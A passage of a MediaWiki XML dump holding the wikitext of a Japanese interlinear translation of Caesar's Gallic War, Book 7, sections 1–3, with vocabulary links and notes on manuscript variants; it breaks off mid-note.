**:[[w:en:Cicero|Cicero]]（[[w:マルクス・トゥッリウス・キケロ|マルクス・トゥッリウス・キケロ]]）- [[w:la:Marcus_Tullius_Cicero|la:Marcus Tullius Cicero]]
**:[[w:en:Titus_Annius_Milo|Titus Annius Milo]]（ティトゥス・アンニウス・ミロ）- [[w:la:Titus_Annius_Milo|la:Titus Annius Milo]]
**:[[w:en:Pompey|Pompey]]（[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]）- [[w:la:Gnaeus_Pompeius_Magnus|la:Gnaeus Pompeius Magnus]]</text>
      <sha1>5t12bmdyd3sbijlxrgar65wfrboix6j</sha1>
    </revision>
    <revision>
      <id>305260</id>
      <parentid>305258</parentid>
      <timestamp>2026-11-01T08:22:12Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>/* 34節 */ 修整</comment>
      <origin>305260</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="562659" sha1="thaxr7597r9y9njmz54qq4ii0namp3o" xml:space="preserve">[[Category:ガリア戦記|7]] [[Category:ガリア戦記 第7巻|*]]
[[ガリア戦記]]＞&amp;nbsp;'''第7巻'''&amp;nbsp;＞[[ガリア戦記 第7巻/注解|注解]]
&lt;div style=&quot;text-align:center&quot;&gt;
&lt;span style=&quot;font-size:20px; font-weight:bold; font-variant-caps: petite-caps; color:white; background: rgb(47,94,255);background: linear-gradient(180deg, rgba(47,94,255,1) 0%, rgba(24,56,255,1) 50%, rgba(0,8,255,1) 100%);&quot;&gt;&amp;nbsp;C&amp;nbsp;IVLII&amp;nbsp;CAESARIS&amp;nbsp;COMMENTARIORVM&amp;nbsp;BELLI&amp;nbsp;GALLICI&amp;nbsp;&lt;/span&gt;

&lt;span style=&quot;font-size:40px; font-weight:bold; color:white; background: rgb(47,94,255);background: linear-gradient(180deg, rgba(47,94,255,1) 0%, rgba(24,56,255,1) 50%, rgba(0,8,255,1) 100%);&quot;&gt;&amp;nbsp;LIBER SEPTIMVS&amp;nbsp;&lt;/span&gt;
&lt;/div&gt;
[[画像:Gaule -52.png|thumb|right|150px|ガリア戦記 第7巻の情勢図（BC52年）。&lt;br&gt;黄色の領域がローマ領。桃色が同盟部族領。]]

{| id=&quot;toc&quot; style=&quot;align:left;clear:all;&quot; align=&quot;left&quot; cellpadding=&quot;5&quot;
! style=&quot;background:#ccccff; text-align:left;&quot; colspan=&quot;2&quot; | ガリア戦記 第7巻 目次
|-
| style=&quot;text-align:right; font-size: 0.86em;&quot;|
'''[[#カルヌーテース族の蜂起|カルヌーテース族の蜂起]]''':&lt;br /&gt;
'''[[#ウェルキンゲトリークスとガッリア同盟軍の蜂起|ウェルキンゲトリークスとガッリア同盟軍の蜂起]]''':&lt;br /&gt;
&lt;br /&gt;
'''[[#アウァーリクム攻略戦|アウァーリクム攻略戦]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[#ゲルゴウィア攻略戦、ハエドゥイー族の離反|ゲルゴウィア攻略戦、ハエドゥイー族の離反]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[#ラビエーヌスのルテティア遠征|ラビエーヌスのルテティア遠征]]''':&lt;br /&gt;
'''[[#ガッリア戦乱の拡大|ガッリア戦乱の拡大]]''':&lt;br /&gt;
'''[[#アレスィア攻囲戦|アレスィア攻囲戦]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[#ガッリア同盟軍主力の降伏|ガッリア同盟軍主力の降伏]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| style=&quot;text-align:left; font-size: 0.86em;&quot;| 
[[#1節|01節]] |
[[#2節|02節]] |
[[#3節|03節]] &lt;br /&gt;
[[#4節|04節]] |
[[#5節|05節]] |
[[#6節|06節]] |
[[#7節|07節]] |
[[#8節|08節]] |
[[#9節|09節]] |
[[#10節|10節]] &lt;br /&gt;
[[#11節|11節]] |
[[#12節|12節]] |
[[#13節|13節]] &lt;br /&gt;
[[#14節|14節]] |
[[#15節|15節]] |
[[#16節|16節]] |
[[#17節|17節]] |
[[#18節|18節]] |
[[#19節|19節]] |
[[#20節|20節]] &lt;br /&gt;
[[#21節|21節]] |
[[#22節|22節]] |
[[#23節|23節]] |
[[#24節|24節]] |
[[#25節|25節]] |
[[#26節|26節]] |
[[#27節|27節]] |
[[#28節|28節]] |
[[#29節|29節]] |
[[#30節|30節]] &lt;br /&gt;
[[#31節|31節]] &lt;br /&gt;
[[#32節|32節]] |
[[#33節|33節]] |
[[#34節|34節]] |
[[#35節|35節]] |
[[#36節|36節]] |
[[#37節|37節]] |
[[#38節|38節]] |
[[#39節|39節]] |
[[#40節|40節]] &lt;br /&gt;
[[#41節|41節]] |
[[#42節|42節]] |
[[#43節|43節]] |
[[#44節|44節]] |
[[#45節|45節]] |
[[#46節|46節]] |
[[#47節|47節]] |
[[#48節|48節]] |
[[#49節|49節]] |
[[#50節|50節]] &lt;br /&gt;
[[#51節|51節]] |
[[#52節|52節]] |
[[#53節|53節]] |
[[#54節|54節]] |
[[#55節|55節]] |
[[#56節|56節]] &lt;br /&gt;
[[#57節|57節]] |
[[#58節|58節]] |
[[#59節|59節]] |
[[#60節|60節]] |
[[#61節|61節]] |
[[#62節|62節]] &lt;br /&gt;
[[#63節|63節]] |
[[#64節|64節]] |
[[#65節|65節]] |
[[#66節|66節]] |
[[#67節|67節]] &lt;br /&gt;
[[#68節|68節]] |
[[#69節|69節]] |
[[#70節|70節]] &lt;br /&gt;
[[#71節|71節]] |
[[#72節|72節]] |
[[#73節|73節]] |
[[#74節|74節]] |
[[#75節|75節]] |
[[#76節|76節]] |
[[#77節|77節]] |
[[#78節|78節]] |
[[#79節|79節]] |
[[#80節|80節]] &lt;br /&gt;
[[#81節|81節]] |
[[#82節|82節]] |
[[#83節|83節]] |
[[#84節|84節]] |
[[#85節|85節]] |
[[#86節|86節]] |
[[#87節|87節]] |
[[#88節|88節]] &lt;br /&gt;
[[#89節|89節]] |
[[#90節|90節]] &lt;br /&gt;
[[#脚注|脚注]]&lt;br /&gt;
[[#参考リンク|参考リンク]]&lt;br /&gt;
|}
&lt;br style=&quot;clear:both;&quot; /&gt;
__notoc__

==カルヌーテース族の蜂起==
===1節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/1節]]　{{進捗|00%|2025-10-26}}&lt;/span&gt;
[[画像:Maccari-Cicero.jpg|thumb|right|250px|[[w:カティリナ弾劾演説|カティリーナ弾劾演説]]をする[[w:マルクス・トゥッリウス・キケロ|キケロー]](左中央)（チェザレ・マッカリによる19世紀のフレスコ画）。[[w:プブリウス・クロディウス・プルケル|クローディウス]]はこれを越権行為であるとして、カエサルの政敵となっていたキケローを一時的に亡命へ追い込み、ついにはキケローの友人ミローの配下によって殺害された。]]
[[画像:Pompei_Magnus_Antiquarium.jpg|thumb|right|250px|[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]の胸像。クローディウス殺害に伴う騒乱を収拾するべく、[[w:元老院|元老院]]によりポンペイウスが単独の[[w:執政官|執政官]]に選出され、首都ローマと本土イタリアを制圧した。一方、カエサルも属州で新たに徴兵して兵力を増した。元老院派はカエサルの勢力が強大になることを恐れて、カエサル自身から将兵を取り上げて召還すべきと主張したが、ポンペイウスは不和を避けて宥和を図った。]]
:　
;首都ローマの政情不安、ガッリア人領袖たちの謀計
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:quietus#Latin|Quieta]] [[wikt:en:Gallia#Latin|Gallia]], 
**[[w:ガリア|ガッリア]]が鎮定されると、
*Caesar, ut [[wikt:en:constituerat|constituerat]], 
**カエサルは、定めていたように、
*in [[wikt:en:Italia#Latin|Italiam]] ad [[wikt:en:conventus#Noun|conventus]] [[wikt:en:agendus#Latin|agendos]] [[wikt:en:proficiscitur|proficiscitur]]. 
**イタリアに、巡回裁判を行なうために出発する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ここでいうイタリアとは、カエサルの属州であった&lt;br&gt;　　　　[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]を指す。&lt;br&gt;　　　　カエサルは、巡回裁判を除けば、おもに[[w:ラヴェンナ|ラウェンナ]]に&lt;br&gt;　　　　滞在していたと考えられる。[[内乱記_第1巻#5節|『内乱記』第1巻5節]]を参照。）&lt;/span&gt;
:　
*[[wikt:en:ibi#Latin|Ibi]] [[wikt:en:cognoscit|cognoscit]] de &amp;lt;P.&amp;gt; [[wikt:en:Clodius#Latin|Clodii]] [[wikt:en:caedes#Latin|caede]], 
**そこで[[w:プブリウス・クロディウス・プルケル|プーブリウス・クローディウス]]の殺害について知って、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：クローディウスは護民官を務めた&lt;ruby&gt;&lt;rb&gt;[[w:ポプラレス|民衆派]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ポプラレス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; の政治家で、&lt;br&gt;　　　　カエサルから恩義を受けていた。&lt;br&gt;　　　　　かの弁論家[[w:マルクス・トゥッリウス・キケロ|キケロー]]やその友人ティトゥス・ミロー [[w:la:Titus_Annius_Milo|Milo]] ら&lt;br&gt;　　　　&lt;ruby&gt;&lt;rb&gt;[[w:オプティマテス|元老院派]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オプティマテス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; と激しく対立し、ミローの配下によって殺害された。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&amp;lt;P.&amp;gt; ([[wikt:en:Publius#Latin|Publii]]) 「プーブリウスの」は &amp;rho;系写本にのみ記されている。）&lt;/span&gt;
*&amp;lt;de&amp;gt; &lt;u&gt;senatus&lt;/u&gt;que &lt;u&gt;consulto&lt;/u&gt; [[wikt:en:certior#Latin|certior]] [[wikt:en:factus#Participle|factus]], ut omnes [[wikt:en:iunior#Latin|iuniores]] Italiae [[wikt:en:coniurarent|coniurarent]], 
**イタリアの全青年に&lt;small&gt;（新兵として）&lt;/small&gt;宣誓するようにとの元老院決議について知らされて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：この事態を収拾すべく元老院派の[[w:グナエウス・ポンペイウス|ポンペイウス]]が単独の執政官&lt;br&gt;　　　　（''[[w:de:Consul sine collega|consul sine collega]]''）に選任されて本土イタリアを掌握した。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&amp;lt;de&amp;gt; は現存する写本にはなく、近世以降に挿入提案されたもの。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&amp;nbsp;　[[wikt:en:senatus_consultum#Latin|senātūs cōnsultum]] ([[wikt:en:ultimus#Latin|ultimum]]) 「[[w:セナトゥス・コンスルトゥム・ウルティムム|元老院(の最終)決議]]」&lt;br&gt;　　　； dē [[wikt:en:senatus_consulto#Latin|senātūs cōnsultō]] 「元老院決議について」）&lt;/span&gt;
*&lt;u&gt;dilectum&lt;/u&gt; [[wikt:en:totus#Latin|tota]] [[wikt:en:provincia#Latin|provincia]] habere [[wikt:en:instituo#Latin|instituit]]. 
**&lt;small&gt;（カエサルは）&lt;/small&gt;属州&lt;small&gt;〔ガッリア・キサルピーナ〕&lt;/small&gt;全体での徴集をすることを決定する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:dilectus#Noun|dilectum]] は、[[wikt:en:delectus#Noun_2|delectum]] と表記している校訂版もある。）&lt;/span&gt;
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Eae res in Galliam [[wikt:en:transalpinus#Latin|Transalpinam]] celeriter [[wikt:en:perferuntur|perferuntur]]. 
**その状況は、[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]&lt;small&gt;〔アルプスの向こう側のガッリア〕&lt;/small&gt;に速やかに報知された。
:　
*[[wikt:en:addunt|Addunt]] ipsi et [[wikt:en:adfingunt|adfingunt]] [[wikt:en:rumor#Latin|rumoribus]] [[wikt:en:Galli#Latin|Galli]], 
**[[w:ガリア人|ガッリア人]]たち自身が風評に想像して付け加えたのは、
*quod res [[wikt:en:poscere|poscere]] [[wikt:en:videbatur|videbatur]]: 
**事態が要求すると思われていたことで、
*[[wikt:en:retineri|retineri]] &lt;u&gt;urbano&lt;/u&gt; [[wikt:en:motus#Noun_2|motu]] Caesarem 
**カエサルは、都&lt;small&gt;〔[[w:ローマ|ローマ市]]〕&lt;/small&gt;の騒乱に束縛されて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:urbanus#Adjective|urbānus]] は「都市の」「都会の」と訳されるが、&lt;br&gt;　　　　とりわけ「首都[[w:ローマ|ローマ市]]の」を意味する。）&lt;/span&gt;
*neque in [[wikt:en:tantus#Latin|tantis]] [[wikt:en:dissensio#Latin|dissensionibus]] ad [[wikt:en:exercitus#Noun|exercitum]] venire posse. 
**これほどの対立においては、軍隊のもとへ来ることができない、&lt;br&gt;ということである。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Hac [[wikt:en:impulsus#Participle|impulsi]] [[wikt:en:occasio#Latin|occasione]], 
**このような好機に刺激されて、
*qui iam ante se [[wikt:en:populus#Noun|populi]] Romani [[wikt:en:imperium#Latin|imperio]] [[wikt:en:subiectus#Latin|subiectos]] [[wikt:en:dolerent|dolerent]], 
**すでに以前から自分たちがローマ国民の支配に服属させられているのを悲嘆している者たちは、
*[[wikt:en:libere#Adverb_2|liberius]] atque [[wikt:en:audacter#Latin|audacius]] de bello [[wikt:en:consilium#Latin|consilia]] [[wikt:en:inire|inire]] [[wikt:en:incipiunt|incipiunt]]. 
**より自由に、かつ、より向こう見ずに、戦争について謀議に取りかかり始める。
:　
[[画像:Brennus_mg_9724.jpg|thumb|right|250px|[[w:ブレンヌス|ブレンヌス]]の胸像。BC4世紀（[[w:紀元前387年|387年]]）に、ローマ軍を破って、ローマ市を占領した。アッコーと同じセノネース族の族長だったとされている。]]
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:indictus#Latin|Indictis]] inter se principes Galliae [[wikt:en:concilium#Latin|conciliis]] [[wikt:en:silvestris#Latin|silvestribus]] ac [[wikt:en:remotus#Latin|remotis]] locis 
**ガッリアの領袖たちは、森林や人里離れた場所での会合を互いに申し合わせて、
*[[wikt:en:queruntur|queruntur]] de [[wikt:en:Acco#Latin|Acconis]] [[wikt:en:mors#Latin|morte]]; 
**アッコーの死について嘆く。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[ガリア戦記 第6巻#44節|第6巻44節]]を参照。）&lt;/span&gt;
*&lt;u&gt;posse&lt;/u&gt; hunc [[wikt:en:casus#Latin|casum]] ad ipsos [[wikt:en:recidere#Verb_4|recidere]] [[wikt:en:demonstrant#Latin|demonstrant]]; 
**彼&lt;small&gt;〔アッコー〕&lt;/small&gt;の結末が彼ら自身へ降りかかりうることを説く。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:posse#Verb|posse]] の位置は、&lt;br&gt;　　　　&amp;alpha;系写本では hunc の前だが、&lt;br&gt;　　　　&amp;beta;系写本では hunc casum ad ipsos  recidere &lt;u&gt;posse&lt;/u&gt; demonstrant &lt;br&gt;　　　　となっている。）&lt;/span&gt;
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt;  [[wikt:en:miserantur|miserantur]] [[wikt:en:communis#Latin|communem]] Galliae [[wikt:en:fortuna#Latin|fortunam]]; 
**ガッリア共通の境遇をあわれむ。
*omnibus [[wikt:en:pollicitatio#Latin|pollicitationibus]] ac [[wikt:en:praemium#Latin|praemiis]] [[wikt:en:deposcunt|deposcunt]] 
**&lt;small&gt;（以下の者たちを）&lt;/small&gt;あらゆる約束と恩賞によって求める。
*qui [[wikt:en:bellum#Latin|belli]] &lt;u&gt;initia&lt;/u&gt; [[wikt:en:faciant|faciant]] et sui [[wikt:en:caput#Latin|capitis]] [[wikt:en:periculum#Latin|periculo]] Galliam in [[wikt:en:libertas#Latin|libertatem]] [[wikt:en:vindicent|vindicent]]. 
**戦端を開いて、自らを危険にさらしても、ガッリアを解放する者たちを。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：～ in libertatem vindicare；～を解放する）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:initia#Latin|initia]] (複数形) だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:initium#Latin|initium]] (単数形) となっている。）&lt;/span&gt;
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; In primis [[wikt:en:ratio#Latin|rationem]] esse [[wikt:en:habendus#Latin|habendam]] [[wikt:en:dicunt|dicunt]], 
**とりわけ、&lt;small&gt;（以下のような）&lt;/small&gt;方策を採るべきであると述べる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_primis#Latin|in primis]] は、[[wikt:en:inprimis#Adverb|
inprimis]] と表記している校訂版もある。）&lt;/span&gt;
*[[wikt:en:priusquam#Latin|prius quam]] eorum [[wikt:en:clandestinus#Latin|clandestina]] consilia [[wikt:en:efferantur|efferantur]], 
**彼らの秘密の計画が漏らされるより前に、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：反ローマの挙兵のはかりごとが漏れる前に）&lt;/span&gt;
*ut Caesar ab [[wikt:en:exercitus#Noun|exercitu]] [[wikt:en:intercludatur|intercludatur]]. 
**カエサルが軍隊から切り離されるように、と。
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Id esse [[wikt:en:facilis#Latin|facile]], 
**それは容易なことである。
*quod neque legiones [[wikt:en:audeant|audeant]] [[wikt:en:absens#Latin|absente]] [[wikt:en:imperator#Latin|imperatore]] ex [[wikt:en:hiberna#Noun|hibernis]] [[wikt:en:egredi|egredi]], 
**というのは、[[w:ローマ軍団|諸軍団]]は将軍&lt;small&gt;〔カエサル〕&lt;/small&gt;が不在のときにあえて冬営から出て行こうとはしないし、
*neque [[wikt:en:imperator#Latin|imperator]] sine [[wikt:en:praesidium#Latin|praesidio]] ad legiones [[wikt:en:pervenire#Latin|pervenire]] [[wikt:en:possit|possit]]. 
**将軍は護衛なしに諸軍団のところへ到着することはできないのだから。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; [[wikt:en:postremo#Adverb|Postremo]] in [[wikt:en:acies#Latin|acie]] &lt;u&gt;praestare&lt;/u&gt; [[wikt:en:interfici|interfici]], 
**結局のところ、戦列において討ち死にする方がましである。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:praestare|praestare]] ～ [[wikt:en:quam#Adverb|quam]] …「…よりも～がより優る」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; non [[wikt:en:vetus#Latin|veterem]] belli [[wikt:en:gloria#Latin|gloriam]] [[wikt:en:libertas#Latin|libertatem]]&lt;nowiki&gt;que&lt;/nowiki&gt; quam a [[wikt:en:maior#Noun|maioribus]] [[wikt:en:acceperint|acceperint]], [[wikt:en:recuperare#Latin|recuperare]].
**先祖から受け継いだかつての戦争の栄誉および自由を取り戻さないことよりは。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
===2節===
[[画像:Chartres_1.jpg|thumb|right|320px|カルヌーテース族（[[w:la:Carnutes|Carnutes]]）の名を残す現在の[[w:シャルトル|シャルトル]]（[[w:en:Chartres|Chartres]]）の象徴である[[w:シャルトル大聖堂|シャルトル大聖堂]]（[[w:世界遺産|世界遺産]]）。[[ガリア戦記 第6巻#13節|第6巻13節]]⑩項で既述のように、カルヌーテース族の土地はガッリアの中心・聖地と見なされていた。ガッリアがキリスト教化されると、[[w:司教|司教座]]が置かれて、宗教的中心地となった。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/2節]]　{{進捗|00%|2025-11-05}}&lt;/span&gt;
;ガッリア諸部族の会合で、カルヌーテース族が開戦動議
:　　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His rebus [[wikt:en:agitatus#Latin|agitatis]], 
**これらの事柄が論議されて、
*[[wikt:en:profiteor#Latin|profitentur]] [[wikt:en:Carnutes#Latin|Carnutes]], 
**カルヌーテース族の者が公言したことには、
*se [[wikt:en:nullus#Determiner|nullum]] [[wikt:en:periculum#Latin|periculum]] [[wikt:en:communis#Latin|communis]] [[wikt:en:salus#Latin|salutis]] causa [[wikt:en:recusare#Latin|recusare]], 
**&lt;small&gt;（ガッリア）&lt;/small&gt;共通の安全のためにはいかなる危険をも辞さない、
*[[wikt:en:princeps#Latin|principes]]&lt;nowiki&gt;que&lt;/nowiki&gt; ex omnibus bellum [[wikt:en:facturus#Latin|facturos]] [[wikt:en:pollicentur|pollicentur]]; 
**かつ&lt;small&gt;（ガッリア方）&lt;/small&gt;総勢の先鋒として戦争を遂行するであろうと約束する。
:　　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; et, [[wikt:en:quoniam#Latin|quoniam]] in [[wikt:en:praesentia#Noun|praesentia]] [[wikt:en:obses#Latin|obsidibus]] [[wikt:en:cavere#Verb_2|cavere]] inter se non [[wikt:en:possint|possint]], 
**目下のところ、人質により互いに保証し合うことはできなかったので、
*ne res [[wikt:en:efferatur|efferatur]], 
**事が漏らされないように、
*&lt;u&gt;ut&lt;/u&gt; [[wikt:en:ius_iurandum#Latin|iure iurando]] ac [[wikt:en:fides#Latin|fide]] [[wikt:en:sanciatur|sanciatur]], [[wikt:en:petunt|petunt]], 
**誓約と信義でもって批准するように求める。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本ST&lt;sup&gt;c&lt;/sup&gt; では ut だが、&lt;br&gt;　　　　　　　　　写本 T&lt;sup&gt;1&lt;/sup&gt;･&amp;rho;系では at 、&lt;br&gt;　　　　　　　　　写本BMLNV･&amp;chi;系では aut となっている。）&lt;/span&gt;
*[[wikt:en:conlatus#Latin|conlatis]] [[wikt:en:militaris#Adjective|militaribus]] [[wikt:en:signum#Latin|signis]], 
**軍旗が運び集められて、
*[[wikt:en:quo#Etymology_2_2|quo]] [[wikt:en:mos#Latin|more]] eorum [[wikt:en:gravissimus#Latin|gravissima]] [[wikt:en:caerimonia#Latin|caerimonia]] [[wikt:en:continetur|continetur]], 
**それは彼らの慣習で最も荘重な&lt;ruby&gt;&lt;rb&gt;神聖儀式&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;カエリモーニア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;として保たれているのだが、
*ne [[wikt:en:factus#Latin|facto]] [[wikt:en:initium#Latin|initio]] belli ab reliquis [[wikt:en:deserantur|deserantur]]. 
**開戦したら、ほかの&lt;small&gt;（部族の）&lt;/small&gt;者たちから見放されないように、ということである。
:　&lt;!--　[[wikt:en:|　--&gt;　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Tum [[wikt:en:conlaudatus#Latin|conlaudatis]] [[wikt:en:Carnutes#Latin|Carnutibus]], 
**それから、カルヌーテース族が賞賛されて、
*[[wikt:en:datus#Participle|dato]] [[wikt:en:ius_iurandum#Latin|iure iurando]] ab omnibus, qui [[wikt:en:aderant|aderant]], 
**訪れていたすべての者たちによって誓約が交わされて、
*[[wikt:en:tempus#Latin|tempore]] eius rei [[wikt:en:constitutus#Participle|constituto]] 
**その事の時期を決定すると、
*ab [[wikt:en:concilium#Latin|concilio]] [[wikt:en:disceditur|disceditur]].
**&lt;small&gt;（ガッリアの領袖たちは）&lt;/small&gt;会合から立ち去る。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
===3節===
[[画像:Cathédrale_Sainte-Croix_d'Orléans_2008_PD_16.JPG|thumb|right|280px|ケナブム（Cenabum）すなわち現在の[[w:オルレアン|オルレアン]]の聖十字架大聖堂。ここもカルヌーテース族の[[w:オッピドゥム|城塞都市]]で、ガッリアの[[w:ドルイド|ドルイド]]たちが集まる聖地だったという。ローマの[[w:ルキウス・ドミティウス・アウレリアヌス|アウレリアヌス帝]]（Aurelianus）によって再建されたのでアウレリアヌスの都市（アウレリアヌム [[w:la:Aurelianum|Aurelianum]]）と改称され、オルレアン（Orléans）と転訛した。キリスト教化によってここにも[[w:司教|司教座]]が置かれて、布教の中心地になった。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/3節]]　{{進捗|00%|2025-11-17}}&lt;/span&gt;
;カルヌーテース族がケナブム進駐
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:ubi#Latin|Ubi]] ea dies venit, 
**その日が来ると、
*[[wikt:en:Carnutes#Latin|Carnutes]], 
**カルヌーテース族は、
*Cotuato et Conconnetodumno [[wikt:en:dux#Latin|ducibus]], [[wikt:en:desperatus#Latin|desperatis]] hominibus, 
**捨て身覚悟の連中であるコトゥアトゥスとコンコンネトドゥムヌスを指導者として、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ガリア語では、&lt;br&gt;　　　　　コトゥアトス ''[[w:fr:Cotuatos|Cotuatos]]''、&lt;br&gt;　　　　　コンコンネトドゥムノス ''[[w:fr:Conconnetodumnos|Conconnetodumnos]]''。）&lt;/span&gt;
*&lt;u&gt;Cenabum&lt;/u&gt; [[wikt:en:signum#Latin|signo]] [[wikt:en:datus#Participle|dato]] [[wikt:en:concurrunt|concurrunt]] 
**号令が発せられるとともに&lt;u&gt;ケナブム&lt;/u&gt;に襲来する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ケナブムは、現在の[[w:オルレアン|オルレアン]]。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:fr:Cenabum|Cenabum]] はケルト語風の読みで、''[[ガリア戦記/注解編/写本と校訂版#Vossius|Vossius]]'' による修正提案。&lt;br&gt;　　　　　写本では genabim, genebim, genebin などとなっている。&lt;br&gt;　　　　　⇒ [[wikt:en:Genabum#Latin|Genabum]]）&lt;/span&gt;

*[[wikt:en:civis#Latin|cives]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:Romanus#Adjective|Romanos]], qui [[wikt:en:negotiandi|negotiandi]] causa [[wikt:en:ibi#Latin|ibi]] [[wikt:en:constiterant|constiterant]], 
**そこには、商いを営むためにローマ市民たちが滞在していて、
*in his [[wikt:en:Gaius#Latin|Gaium]] [[wikt:en:Fufius#Latin|Fufium]] Citam, [[wikt:en:honestus#Latin|honestum]] [[wikt:en:eques#Latin|equitem]] [[wikt:en:Romanus#Adjective|Romanum]], 
**彼らの中には、気高いローマ人[[w:エクィテス|騎士]]ガーイウス・フーフィウス・キタがいて
*qui rei [[wikt:en:frumentarius#Latin|frumentariae]] [[wikt:en:iussus#Noun|iussu]] Caesaris [[wikt:en:praeerat|praeerat]], 
**カエサルの指図により糧秣調達を統率していたが、
*[[wikt:en:interficiunt|interficiunt]] [[wikt:en:bonum#Noun_2|bona]]&lt;nowiki&gt;que&lt;/nowiki&gt; eorum [[wikt:en:diripiunt|diripiunt]]. 
**&lt;small&gt;（カルヌーテース勢は彼らローマ市民たちを）&lt;/small&gt;殺害して、彼らの財産を略奪する。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Celeriter ad omnes Galliae [[wikt:en:civitas#Latin|civitates]] [[wikt:en:fama#Latin|fama]] [[wikt:en:perfertur|perfertur]]. 
**速やかに全ガッリア部族のもとへ、評判が報知される。
*Nam, &lt;u&gt;ubique&lt;/u&gt; [[wikt:en:maior#Latin|maior]] atque [[wikt:en:inlustrior|inlustrior]] [[wikt:en:incidit#Etymology_1|incidit]] res, 
**なぜなら、より重大でより目立った事態が起こればどこであろうが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; の大半では [[wikt:en:ubique#Latin|ubique]] だが、写本STでは [[wikt:en:ubi#Latin|ubi]] 、&lt;br&gt;　　　　　　　　　さらに [[wikt:en:ubicumque#Latin|ubicumque]] という異読もあり、&lt;br&gt;　　　　　　　　　&amp;nbsp;''[[ガリア戦記/注解編/写本と校訂版#Schneider,K.E.Chr.|Chr. Schneider]]'' は ubi quae と修正提案している。）&lt;/span&gt;
